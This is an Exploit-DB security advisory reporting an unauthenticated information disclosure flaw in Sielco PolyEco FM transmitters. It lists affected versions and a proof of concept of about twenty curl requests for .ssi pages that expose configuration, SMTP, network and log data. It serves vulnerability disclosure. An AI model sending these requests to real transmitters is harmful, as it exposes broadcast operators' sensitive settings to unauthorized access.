Sielco PolyEco Digital FM Transmitter 2.0.6 – Unauthenticated Information Disclosure

  • 作者: LiquidWorm
    日期: 2023-04-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51370/
  • ## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure
    ## Exploit Author: LiquidWorm
    
    Vendor: Sielco S.r.l
    Product web page: https://www.sielco.org
    Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
    PolyEco1000 CPU:1.9.4 FPGA:10.19
    PolyEco1000 CPU:1.9.3 FPGA:10.19
    PolyEco500 CPU:1.7.0 FPGA:10.16
    PolyEco300 CPU:2.0.2 FPGA:10.19
    PolyEco300 CPU:2.0.0 FPGA:10.19
    
    Summary: PolyEco is the innovative family of high-end digital
    FM transmitters of Sielco. They are especially suited as high
    performance power system exciters or compact low-mid power
    transmitters. The same cabinet may in fact be fitted with 50,
    100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
    1000).
    
    All features can be controlled via the large touch-screen display
    4.3" or remotely. Many advanced features are inside by default
    in the basic version such as: stereo and RDS encoder, audio
    change-over, remote-control via LAN and SNMP, "FFT" spectral
    analysis of the audio sources, SFN synchronization and much more.
    
    Desc: Sielco PolyEco is affected by an information disclosure
    vulnerability due to improper access control enforcement. An
    unauthenticated remote attacker can exploit this, via a specially
    crafted request to gain access to sensitive information.
    
    Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    Macedonian Information Security Research and Development Laboratory
    Zero Science Lab - https://www.zeroscience.mk - @zeroscience
    
    
    Advisory ID: ZSL-2023-5766
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5766.php
    
    
    26.01.2023
    
    --
    
    
    $ curl -s http://RADIOFM/factory.ssi
    $ curl -s http://RADIOFM/rds.ssi
    $ curl -s http://RADIOFM/ip.ssi
    $ curl -s http://RADIOFM/alarm.ssi
    $ curl -s http://RADIOFM/i2s.ssi
    $ curl -s http://RADIOFM/time.ssi
    $ curl -s http://RADIOFM/fft.ssi
    $ curl -s http://RADIOFM/info.ssi
    $ curl -s http://RADIOFM/status.ssi
    $ curl -s http://RADIOFM/statusx.ssi
    $ curl -s http://RADIOFM/audio.ssi
    $ curl -s http://RADIOFM/smtp.ssi
    $ curl -s http://RADIOFM/rf.ssi
    $ curl -s http://RADIOFM/rfa.ssi
    $ curl -s http://RADIOFM/ping.ssi
    $ curl -s http://RADIOFM/lan.ssi
    $ curl -s http://RADIOFM/kappa.ssi
    $ curl -s http://RADIOFM/dbrt.ssi
    $ curl -s http://RADIOFM/audiom.ssi
    $ curl -s http://RADIOFM/log.ssi